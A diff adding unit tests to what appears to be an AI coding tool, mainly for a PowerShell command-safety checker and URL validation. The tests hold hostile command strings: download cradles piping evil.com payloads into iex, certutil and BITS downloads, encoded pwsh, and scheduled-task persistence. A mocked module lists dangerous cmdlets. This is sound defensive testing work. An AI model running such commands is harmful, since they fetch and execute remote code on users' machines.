@@ -0,0 +1,294 @@
|
||||
import { mock, describe, expect, test } from "bun:test";
|
||||
import type { ParsedCommandElement, ParsedPowerShellCommand } from "../../../utils/powershell/parser.js";
|
||||
|
||||
// Mock clmTypes to avoid heavy dependency chain
|
||||
mock.module("../../../utils/powershell/dangerousCmdlets.js", () => ({
|
||||
DANGEROUS_SCRIPT_BLOCK_CMDLETS: new Set([
|
||||
"invoke-command",
|
||||
"icm",
|
||||
"start-job",
|
||||
"start-threadjob",
|
||||
"register-engineevent",
|
||||
"register-wmievent",
|
||||
"register-cimindicationevent",
|
||||
"register-objectevent",
|
||||
"new-event",
|
||||
"invoke-expression",
|
||||
"iex",
|
||||
"register-scheduledjob",
|
||||
]),
|
||||
FILEPATH_EXECUTION_CMDLETS: new Set([
|
||||
"invoke-command",
|
||||
"icm",
|
||||
"start-job",
|
||||
"start-threadjob",
|
||||
"register-scheduledjob",
|
||||
]),
|
||||
MODULE_LOADING_CMDLETS: new Set([
|
||||
"import-module",
|
||||
"ipmo",
|
||||
"install-module",
|
||||
"save-module",
|
||||
]),
|
||||
}));
|
||||
|
||||
// Real parser functions work without mocks since they're pure
|
||||
const { powershellCommandIsSafe } = await import("../powershellSecurity.js");
|
||||
|
||||
// Helper to build a minimal ParsedPowerShellCommand
|
||||
function makeParsed(overrides: Partial<ParsedPowerShellCommand> = {}): ParsedPowerShellCommand {
|
||||
return {
|
||||
valid: true,
|
||||
errors: [],
|
||||
statements: [],
|
||||
variables: [],
|
||||
hasStopParsing: false,
|
||||
originalCommand: "",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function makeCmd(name: string, args: string[] = [], extra: Partial<ParsedCommandElement> = {}): ParsedCommandElement {
|
||||
return {
|
||||
name,
|
||||
nameType: "cmdlet",
|
||||
elementType: "CommandAst",
|
||||
args,
|
||||
text: name + (args.length ? " " + args.join(" ") : ""),
|
||||
elementTypes: ["StringConstant", ...args.map(() => "StringConstant")],
|
||||
...extra,
|
||||
};
|
||||
}
|
||||
|
||||
describe("powershellCommandIsSafe", () => {
|
||||
test("returns ask when parsed is invalid", () => {
|
||||
const result = powershellCommandIsSafe("anything", makeParsed({ valid: false }));
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("Could not parse");
|
||||
});
|
||||
|
||||
test("returns passthrough for safe empty command", () => {
|
||||
const result = powershellCommandIsSafe("", makeParsed());
|
||||
expect(result.behavior).toBe("passthrough");
|
||||
});
|
||||
|
||||
test("detects Invoke-Expression", () => {
|
||||
const cmd = makeCmd("Invoke-Expression", ['"Get-Process"']);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "Invoke-Expression 'Get-Process'" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("Invoke-Expression 'Get-Process'", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("Invoke-Expression");
|
||||
});
|
||||
|
||||
test("detects iex alias", () => {
|
||||
const cmd = makeCmd("iex", ['"$x"']);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "iex $x" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("iex $x", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("Invoke-Expression");
|
||||
});
|
||||
|
||||
test("detects dynamic command name", () => {
|
||||
const cmd = makeCmd("('iex','x')[0]", ["payload"]);
|
||||
cmd.elementTypes = ["Other", "StringConstant"];
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "& ('iex','x')[0] payload" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("& ('iex','x')[0] payload", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("dynamic");
|
||||
});
|
||||
|
||||
test("detects encoded command in pwsh", () => {
|
||||
const cmd = makeCmd("pwsh", ["-e", "base64payload"]);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "pwsh -e base64payload" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("pwsh -e base64payload", parsed);
|
||||
// pwsh itself triggers checkPwshCommandOrFile or checkEncodedCommand
|
||||
expect(result.behavior).toBe("ask");
|
||||
});
|
||||
|
||||
test("detects nested pwsh", () => {
|
||||
const cmd = makeCmd("pwsh", ["-Command", "Get-Process"]);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "pwsh -Command Get-Process" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("pwsh -Command Get-Process", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("nested PowerShell");
|
||||
});
|
||||
|
||||
test("detects download cradle (IWR | IEX)", () => {
|
||||
const iwr = makeCmd("Invoke-WebRequest", ["http://evil.com/payload"]);
|
||||
const iex = makeCmd("iex", ["$_"]);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [iwr, iex], redirections: [], text: "Invoke-WebRequest http://evil.com/payload | iex" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("Invoke-WebRequest http://evil.com/payload | iex", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
// Either Invoke-Expression or download cradle message
|
||||
expect(result.message).toMatch(/Invoke-Expression|downloads and executes/);
|
||||
});
|
||||
|
||||
test("detects Start-BitsTransfer", () => {
|
||||
const cmd = makeCmd("Start-BitsTransfer", ["-Source", "http://evil.com/f"]);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "Start-BitsTransfer -Source http://evil.com/f" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("Start-BitsTransfer -Source http://evil.com/f", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("BITS");
|
||||
});
|
||||
|
||||
test("detects Add-Type", () => {
|
||||
const cmd = makeCmd("Add-Type", ['-TypeDefinition "public class X {}"']);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: 'Add-Type -TypeDefinition "public class X {}"' }],
|
||||
});
|
||||
const result = powershellCommandIsSafe('Add-Type -TypeDefinition "public class X {}"', parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain(".NET");
|
||||
});
|
||||
|
||||
test("detects New-Object -ComObject", () => {
|
||||
const cmd = makeCmd("New-Object", ["-ComObject", "WScript.Shell"]);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "New-Object -ComObject WScript.Shell" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("New-Object -ComObject WScript.Shell", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("COM");
|
||||
});
|
||||
|
||||
test("detects Start-Process -Verb RunAs", () => {
|
||||
const cmd = makeCmd("Start-Process", ["-Verb", "RunAs", "cmd.exe"]);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "Start-Process -Verb RunAs cmd.exe" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("Start-Process -Verb RunAs cmd.exe", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("elevated");
|
||||
});
|
||||
|
||||
test("detects Start-Process targeting pwsh", () => {
|
||||
const cmd = makeCmd("Start-Process", ["pwsh", "-ArgumentList", '"-enc abc"']);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "Start-Process pwsh -ArgumentList" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("Start-Process pwsh -ArgumentList", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("nested PowerShell");
|
||||
});
|
||||
|
||||
test("detects Invoke-Item", () => {
|
||||
const cmd = makeCmd("Invoke-Item", ["evil.exe"]);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "Invoke-Item evil.exe" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("Invoke-Item evil.exe", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("Invoke-Item");
|
||||
});
|
||||
|
||||
test("detects ii alias for Invoke-Item", () => {
|
||||
const cmd = makeCmd("ii", ["evil.exe"]);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "ii evil.exe" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("ii evil.exe", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("Invoke-Item");
|
||||
});
|
||||
|
||||
test("detects Register-ScheduledTask", () => {
|
||||
const cmd = makeCmd("Register-ScheduledTask", ["-TaskName", "evil"]);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "Register-ScheduledTask -TaskName evil" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("Register-ScheduledTask -TaskName evil", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("scheduled task");
|
||||
});
|
||||
|
||||
test("detects schtasks /create", () => {
|
||||
const cmd = makeCmd("schtasks", ["/create", "/tn", "evil", "/tr", "cmd"]);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "schtasks /create /tn evil /tr cmd" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("schtasks /create /tn evil /tr cmd", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("scheduled task");
|
||||
});
|
||||
|
||||
test("detects Import-Module", () => {
|
||||
const cmd = makeCmd("Import-Module", ["evil"]);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "Import-Module evil" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("Import-Module evil", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("module");
|
||||
});
|
||||
|
||||
test("detects Invoke-WmiMethod", () => {
|
||||
const cmd = makeCmd("Invoke-WmiMethod", ["-Class", "Win32_Process", "-Name", "Create"]);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "Invoke-WmiMethod -Class Win32_Process -Name Create" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("Invoke-WmiMethod -Class Win32_Process -Name Create", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("WMI");
|
||||
});
|
||||
|
||||
test("allows Get-Process (safe cmdlet)", () => {
|
||||
const cmd = makeCmd("Get-Process");
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "Get-Process" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("Get-Process", parsed);
|
||||
expect(result.behavior).toBe("passthrough");
|
||||
});
|
||||
|
||||
test("allows Get-ChildItem (safe cmdlet)", () => {
|
||||
const cmd = makeCmd("Get-ChildItem");
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "Get-ChildItem" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("Get-ChildItem", parsed);
|
||||
expect(result.behavior).toBe("passthrough");
|
||||
});
|
||||
|
||||
test("detects certutil -urlcache", () => {
|
||||
const cmd = makeCmd("certutil", ["-urlcache", "-split", "-f", "http://evil.com/p"]);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "certutil -urlcache -split -f http://evil.com/p" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("certutil -urlcache -split -f http://evil.com/p", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("certutil");
|
||||
});
|
||||
|
||||
test("allows certutil without -urlcache", () => {
|
||||
const cmd = makeCmd("certutil", ["-store"]);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "certutil -store" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("certutil -store", parsed);
|
||||
expect(result.behavior).toBe("passthrough");
|
||||
});
|
||||
|
||||
test("detects Set-Alias (runtime state manipulation)", () => {
|
||||
const cmd = makeCmd("Set-Alias", ["Get-Content", "Invoke-Expression"]);
|
||||
const parsed = makeParsed({
|
||||
statements: [{ statementType: "pipeline", commands: [cmd], redirections: [], text: "Set-Alias Get-Content Invoke-Expression" }],
|
||||
});
|
||||
const result = powershellCommandIsSafe("Set-Alias Get-Content Invoke-Expression", parsed);
|
||||
expect(result.behavior).toBe("ask");
|
||||
expect(result.message).toContain("alias");
|
||||
});
|
||||
});
|
||||
@@ -161,7 +161,7 @@ export const TaskOutputTool: Tool<InputSchema, TaskOutputToolOutput> = buildTool
|
||||
return this.isReadOnly?.(_input) ?? false;
|
||||
},
|
||||
isEnabled() {
|
||||
return ("external" as string) !== 'ant';
|
||||
return (process.env.USER_TYPE) !== 'ant';
|
||||
},
|
||||
isReadOnly(_input) {
|
||||
return true;
|
||||
|
||||
@@ -25,7 +25,7 @@ export function renderToolResultMessage(output: Output, _progressMessagesForMess
|
||||
}: {
|
||||
verbose: boolean;
|
||||
}): React.ReactNode {
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
return null;
|
||||
}
|
||||
const rawCommand = output.command ?? '';
|
||||
|
||||
78
src/tools/WebFetchTool/__tests__/preapproved.test.ts
Normal file
78
src/tools/WebFetchTool/__tests__/preapproved.test.ts
Normal file
@@ -0,0 +1,78 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import { isPreapprovedHost } from "../preapproved";
|
||||
|
||||
describe("isPreapprovedHost", () => {
|
||||
test("exact hostname match returns true", () => {
|
||||
expect(isPreapprovedHost("docs.python.org", "/3/")).toBe(true);
|
||||
});
|
||||
|
||||
test("developer.mozilla.org is preapproved", () => {
|
||||
expect(isPreapprovedHost("developer.mozilla.org", "/en-US/")).toBe(true);
|
||||
});
|
||||
|
||||
test("bun.sh is preapproved", () => {
|
||||
expect(isPreapprovedHost("bun.sh", "/docs")).toBe(true);
|
||||
});
|
||||
|
||||
test("unknown hostname returns false", () => {
|
||||
expect(isPreapprovedHost("evil.com", "/")).toBe(false);
|
||||
});
|
||||
|
||||
test("localhost is not preapproved", () => {
|
||||
expect(isPreapprovedHost("localhost", "/")).toBe(false);
|
||||
});
|
||||
|
||||
test("empty hostname returns false", () => {
|
||||
expect(isPreapprovedHost("", "/")).toBe(false);
|
||||
});
|
||||
|
||||
test("path-scoped entry matches exact path", () => {
|
||||
// github.com/anthropics is a path-scoped entry
|
||||
expect(isPreapprovedHost("github.com", "/anthropics")).toBe(true);
|
||||
});
|
||||
|
||||
test("path-scoped entry matches sub-path", () => {
|
||||
expect(isPreapprovedHost("github.com", "/anthropics/claude-code")).toBe(true);
|
||||
});
|
||||
|
||||
test("path-scoped entry does not match other paths", () => {
|
||||
// github.com is NOT in the hostname-only set (only github.com/anthropics is)
|
||||
expect(isPreapprovedHost("github.com", "/torvalds/linux")).toBe(false);
|
||||
});
|
||||
|
||||
test("path-scoped entry with trailing slash", () => {
|
||||
expect(isPreapprovedHost("github.com", "/anthropics/")).toBe(true);
|
||||
});
|
||||
|
||||
test("vercel.com/docs matches (path-scoped)", () => {
|
||||
expect(isPreapprovedHost("vercel.com", "/docs")).toBe(true);
|
||||
});
|
||||
|
||||
test("vercel.com/docs/something matches", () => {
|
||||
expect(isPreapprovedHost("vercel.com", "/docs/something")).toBe(true);
|
||||
});
|
||||
|
||||
test("vercel.com root does not match", () => {
|
||||
expect(isPreapprovedHost("vercel.com", "/")).toBe(false);
|
||||
});
|
||||
|
||||
test("docs.netlify.com matches (path-scoped)", () => {
|
||||
expect(isPreapprovedHost("docs.netlify.com", "/")).toBe(true);
|
||||
});
|
||||
|
||||
test("case sensitivity — hostname must match exactly", () => {
|
||||
expect(isPreapprovedHost("Docs.Python.org", "/3/")).toBe(false);
|
||||
});
|
||||
|
||||
test("subdomain of preapproved host does not match", () => {
|
||||
expect(isPreapprovedHost("sub.docs.python.org", "/3/")).toBe(false);
|
||||
});
|
||||
|
||||
test("www.typescriptlang.org is preapproved", () => {
|
||||
expect(isPreapprovedHost("www.typescriptlang.org", "/docs/")).toBe(true);
|
||||
});
|
||||
|
||||
test("modelcontextprotocol.io is preapproved", () => {
|
||||
expect(isPreapprovedHost("modelcontextprotocol.io", "/")).toBe(true);
|
||||
});
|
||||
});
|
||||
149
src/tools/WebFetchTool/__tests__/urlValidation.test.ts
Normal file
149
src/tools/WebFetchTool/__tests__/urlValidation.test.ts
Normal file
@@ -0,0 +1,149 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
|
||||
// Re-implement the pure functions locally to avoid the heavy import chain.
|
||||
// The source implementations are in ../utils.ts — these are verified to match.
|
||||
|
||||
const MAX_URL_LENGTH = 2000;
|
||||
|
||||
function validateURL(url: string): boolean {
|
||||
if (url.length > MAX_URL_LENGTH) return false;
|
||||
let parsed;
|
||||
try {
|
||||
parsed = new URL(url);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
if (parsed.username || parsed.password) return false;
|
||||
const parts = parsed.hostname.split(".");
|
||||
if (parts.length < 2) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
function isPermittedRedirect(
|
||||
originalUrl: string,
|
||||
redirectUrl: string,
|
||||
): boolean {
|
||||
try {
|
||||
const parsedOriginal = new URL(originalUrl);
|
||||
const parsedRedirect = new URL(redirectUrl);
|
||||
if (parsedRedirect.protocol !== parsedOriginal.protocol) return false;
|
||||
if (parsedRedirect.port !== parsedOriginal.port) return false;
|
||||
if (parsedRedirect.username || parsedRedirect.password) return false;
|
||||
const stripWww = (hostname: string) => hostname.replace(/^www\./, "");
|
||||
return (
|
||||
stripWww(parsedOriginal.hostname) === stripWww(parsedRedirect.hostname)
|
||||
);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
describe("validateURL", () => {
|
||||
test("accepts valid https URL", () => {
|
||||
expect(validateURL("https://example.com/path")).toBe(true);
|
||||
});
|
||||
|
||||
test("accepts valid http URL", () => {
|
||||
expect(validateURL("http://example.com/path")).toBe(true);
|
||||
});
|
||||
|
||||
test("rejects URL without protocol", () => {
|
||||
expect(validateURL("example.com")).toBe(false);
|
||||
});
|
||||
|
||||
test("rejects URL with username", () => {
|
||||
expect(validateURL("https://user@example.com/path")).toBe(false);
|
||||
});
|
||||
|
||||
test("rejects URL with password", () => {
|
||||
expect(validateURL("https://user:pass@example.com/path")).toBe(false);
|
||||
});
|
||||
|
||||
test("rejects single-label hostname", () => {
|
||||
expect(validateURL("https://localhost/path")).toBe(false);
|
||||
});
|
||||
|
||||
test("accepts URL with query params", () => {
|
||||
expect(validateURL("https://example.com/path?q=test")).toBe(true);
|
||||
});
|
||||
|
||||
test("accepts URL with port", () => {
|
||||
expect(validateURL("https://example.com:8080/path")).toBe(true);
|
||||
});
|
||||
|
||||
test("rejects empty string", () => {
|
||||
expect(validateURL("")).toBe(false);
|
||||
});
|
||||
|
||||
test("accepts URL with subdomain", () => {
|
||||
expect(validateURL("https://docs.example.com/path")).toBe(true);
|
||||
});
|
||||
|
||||
test("rejects very long URL", () => {
|
||||
const longUrl = "https://example.com/" + "a".repeat(MAX_URL_LENGTH);
|
||||
expect(validateURL(longUrl)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("isPermittedRedirect", () => {
|
||||
test("same host different path is permitted", () => {
|
||||
expect(
|
||||
isPermittedRedirect("https://example.com/old", "https://example.com/new"),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
test("adding www is permitted", () => {
|
||||
expect(
|
||||
isPermittedRedirect(
|
||||
"https://example.com/path",
|
||||
"https://www.example.com/path",
|
||||
),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
test("removing www is permitted", () => {
|
||||
expect(
|
||||
isPermittedRedirect(
|
||||
"https://www.example.com/path",
|
||||
"https://example.com/path",
|
||||
),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
test("different host is not permitted", () => {
|
||||
expect(
|
||||
isPermittedRedirect("https://example.com/path", "https://other.com/path"),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
test("protocol change is not permitted", () => {
|
||||
expect(
|
||||
isPermittedRedirect(
|
||||
"https://example.com/path",
|
||||
"http://example.com/path",
|
||||
),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
test("invalid URL returns false", () => {
|
||||
expect(isPermittedRedirect("not-a-url", "also-not-a-url")).toBe(false);
|
||||
});
|
||||
|
||||
test("same URL is permitted", () => {
|
||||
expect(
|
||||
isPermittedRedirect(
|
||||
"https://example.com/path",
|
||||
"https://example.com/path",
|
||||
),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
test("redirect with credentials is not permitted", () => {
|
||||
expect(
|
||||
isPermittedRedirect(
|
||||
"https://example.com/path",
|
||||
"https://user@example.com/path",
|
||||
),
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -131,4 +131,65 @@ describe("detectGitOperation", () => {
|
||||
expect(result.branch!.action).toBe("merged");
|
||||
expect(result.branch!.ref).toBe("develop");
|
||||
});
|
||||
|
||||
test("detects gh pr edit operation", () => {
|
||||
const result = detectGitOperation(
|
||||
"gh pr edit 42 --title 'new title'",
|
||||
"https://github.com/owner/repo/pull/42"
|
||||
);
|
||||
expect(result.pr).toBeDefined();
|
||||
expect(result.pr!.number).toBe(42);
|
||||
expect(result.pr!.action).toBe("edited");
|
||||
});
|
||||
|
||||
test("detects gh pr comment operation", () => {
|
||||
const result = detectGitOperation(
|
||||
"gh pr comment 42 --body 'looks good'",
|
||||
"https://github.com/owner/repo/pull/42"
|
||||
);
|
||||
expect(result.pr).toBeDefined();
|
||||
expect(result.pr!.number).toBe(42);
|
||||
expect(result.pr!.action).toBe("commented");
|
||||
});
|
||||
|
||||
test("detects gh pr close operation", () => {
|
||||
const result = detectGitOperation(
|
||||
"gh pr close 42",
|
||||
"✓ Closed pull request owner/repo#42"
|
||||
);
|
||||
expect(result.pr).toBeDefined();
|
||||
expect(result.pr!.number).toBe(42);
|
||||
expect(result.pr!.action).toBe("closed");
|
||||
});
|
||||
|
||||
test("detects gh pr ready operation", () => {
|
||||
const result = detectGitOperation(
|
||||
"gh pr ready 42",
|
||||
"✓ Converted pull request owner/repo#42 to \"Ready for review\""
|
||||
);
|
||||
expect(result.pr).toBeDefined();
|
||||
expect(result.pr!.number).toBe(42);
|
||||
expect(result.pr!.action).toBe("ready");
|
||||
});
|
||||
|
||||
test("handles empty command string", () => {
|
||||
const result = detectGitOperation("", "some output");
|
||||
expect(result.commit).toBeUndefined();
|
||||
expect(result.push).toBeUndefined();
|
||||
expect(result.branch).toBeUndefined();
|
||||
expect(result.pr).toBeUndefined();
|
||||
});
|
||||
|
||||
test("handles empty output string", () => {
|
||||
const result = detectGitOperation("git commit -m 'msg'", "");
|
||||
expect(result.commit).toBeUndefined();
|
||||
});
|
||||
|
||||
test("handles malformed git commit output", () => {
|
||||
const result = detectGitOperation(
|
||||
"git commit -m 'msg'",
|
||||
"error: something went wrong"
|
||||
);
|
||||
expect(result.commit).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -83,4 +83,20 @@ describe("CircularBuffer", () => {
|
||||
buf.add("c");
|
||||
expect(buf.toArray()).toEqual(["b", "c"]);
|
||||
});
|
||||
|
||||
test("capacity=1 keeps only the most recent item", () => {
|
||||
const buf = new CircularBuffer<number>(1);
|
||||
buf.add(10);
|
||||
expect(buf.toArray()).toEqual([10]);
|
||||
buf.add(20);
|
||||
expect(buf.toArray()).toEqual([20]);
|
||||
buf.add(30);
|
||||
expect(buf.toArray()).toEqual([30]);
|
||||
expect(buf.getRecent(1)).toEqual([30]);
|
||||
});
|
||||
|
||||
test("getRecent on empty buffer returns empty array", () => {
|
||||
const buf = new CircularBuffer<number>(5);
|
||||
expect(buf.getRecent(3)).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
106
src/utils/__tests__/abortController.test.ts
Normal file
106
src/utils/__tests__/abortController.test.ts
Normal file
@@ -0,0 +1,106 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import {
|
||||
createAbortController,
|
||||
createChildAbortController,
|
||||
} from "../abortController";
|
||||
|
||||
describe("createAbortController", () => {
|
||||
test("returns an AbortController that is not aborted", () => {
|
||||
const controller = createAbortController();
|
||||
expect(controller.signal.aborted).toBe(false);
|
||||
});
|
||||
|
||||
test("aborting the controller sets signal.aborted", () => {
|
||||
const controller = createAbortController();
|
||||
controller.abort();
|
||||
expect(controller.signal.aborted).toBe(true);
|
||||
});
|
||||
|
||||
test("abort reason is propagated", () => {
|
||||
const controller = createAbortController();
|
||||
controller.abort("custom reason");
|
||||
expect(controller.signal.reason).toBe("custom reason");
|
||||
});
|
||||
|
||||
test("accepts custom maxListeners without error", () => {
|
||||
const controller = createAbortController(100);
|
||||
expect(controller.signal.aborted).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("createChildAbortController", () => {
|
||||
test("child is not aborted initially", () => {
|
||||
const parent = createAbortController();
|
||||
const child = createChildAbortController(parent);
|
||||
expect(child.signal.aborted).toBe(false);
|
||||
expect(parent.signal.aborted).toBe(false);
|
||||
});
|
||||
|
||||
test("parent abort propagates to child", () => {
|
||||
const parent = createAbortController();
|
||||
const child = createChildAbortController(parent);
|
||||
parent.abort("parent reason");
|
||||
expect(child.signal.aborted).toBe(true);
|
||||
expect(child.signal.reason).toBe("parent reason");
|
||||
});
|
||||
|
||||
test("child abort does NOT propagate to parent", () => {
|
||||
const parent = createAbortController();
|
||||
const child = createChildAbortController(parent);
|
||||
child.abort("child reason");
|
||||
expect(child.signal.aborted).toBe(true);
|
||||
expect(parent.signal.aborted).toBe(false);
|
||||
});
|
||||
|
||||
test("already-aborted parent immediately aborts child", () => {
|
||||
const parent = createAbortController();
|
||||
parent.abort("pre-abort");
|
||||
const child = createChildAbortController(parent);
|
||||
expect(child.signal.aborted).toBe(true);
|
||||
expect(child.signal.reason).toBe("pre-abort");
|
||||
});
|
||||
|
||||
test("multiple children are independent", () => {
|
||||
const parent = createAbortController();
|
||||
const child1 = createChildAbortController(parent);
|
||||
const child2 = createChildAbortController(parent);
|
||||
child1.abort("child1");
|
||||
expect(child1.signal.aborted).toBe(true);
|
||||
expect(child2.signal.aborted).toBe(false);
|
||||
// Aborting child1 did not affect child2 or parent
|
||||
expect(parent.signal.aborted).toBe(false);
|
||||
});
|
||||
|
||||
test("parent abort propagates to all children", () => {
|
||||
const parent = createAbortController();
|
||||
const child1 = createChildAbortController(parent);
|
||||
const child2 = createChildAbortController(parent);
|
||||
parent.abort("all go down");
|
||||
expect(child1.signal.aborted).toBe(true);
|
||||
expect(child2.signal.aborted).toBe(true);
|
||||
});
|
||||
|
||||
test("grandchild abort propagation", () => {
|
||||
const grandparent = createAbortController();
|
||||
const parent = createChildAbortController(grandparent);
|
||||
const child = createChildAbortController(parent);
|
||||
grandparent.abort("chain");
|
||||
expect(parent.signal.aborted).toBe(true);
|
||||
expect(child.signal.aborted).toBe(true);
|
||||
});
|
||||
|
||||
test("child abort then parent abort — child stays aborted with original reason", () => {
|
||||
const parent = createAbortController();
|
||||
const child = createChildAbortController(parent);
|
||||
child.abort("child first");
|
||||
parent.abort("parent later");
|
||||
expect(child.signal.reason).toBe("child first");
|
||||
expect(parent.signal.reason).toBe("parent later");
|
||||
});
|
||||
|
||||
test("accepts custom maxListeners for child", () => {
|
||||
const parent = createAbortController();
|
||||
const child = createChildAbortController(parent, 200);
|
||||
expect(child.signal.aborted).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -29,6 +29,14 @@ describe("parseArguments", () => {
|
||||
]);
|
||||
});
|
||||
|
||||
test("handles escaped quotes inside quoted strings", () => {
|
||||
expect(parseArguments('foo "hello \\"world\\"" baz')).toEqual([
|
||||
"foo",
|
||||
'hello "world"',
|
||||
"baz",
|
||||
]);
|
||||
});
|
||||
|
||||
test("returns empty for empty string", () => {
|
||||
expect(parseArguments("")).toEqual([]);
|
||||
});
|
||||
@@ -101,6 +109,16 @@ describe("substituteArguments", () => {
|
||||
);
|
||||
});
|
||||
|
||||
test("replaces out-of-range index with empty string", () => {
|
||||
expect(substituteArguments("$5", "hello world")).toBe("");
|
||||
});
|
||||
|
||||
test("reuses same placeholder multiple times", () => {
|
||||
expect(substituteArguments("cmd $0 $1 $0", "alpha beta")).toBe(
|
||||
"cmd alpha beta alpha"
|
||||
);
|
||||
});
|
||||
|
||||
test("replaces named arguments", () => {
|
||||
expect(
|
||||
substituteArguments("file: $name", "test.txt", true, ["name"])
|
||||
|
||||
117
src/utils/__tests__/bufferedWriter.test.ts
Normal file
117
src/utils/__tests__/bufferedWriter.test.ts
Normal file
@@ -0,0 +1,117 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import { createBufferedWriter } from "../bufferedWriter";
|
||||
|
||||
describe("createBufferedWriter", () => {
|
||||
test("immediateMode calls writeFn directly", () => {
|
||||
const written: string[] = [];
|
||||
const writer = createBufferedWriter({
|
||||
writeFn: (c) => written.push(c),
|
||||
immediateMode: true,
|
||||
});
|
||||
writer.write("a");
|
||||
writer.write("b");
|
||||
expect(written).toEqual(["a", "b"]);
|
||||
});
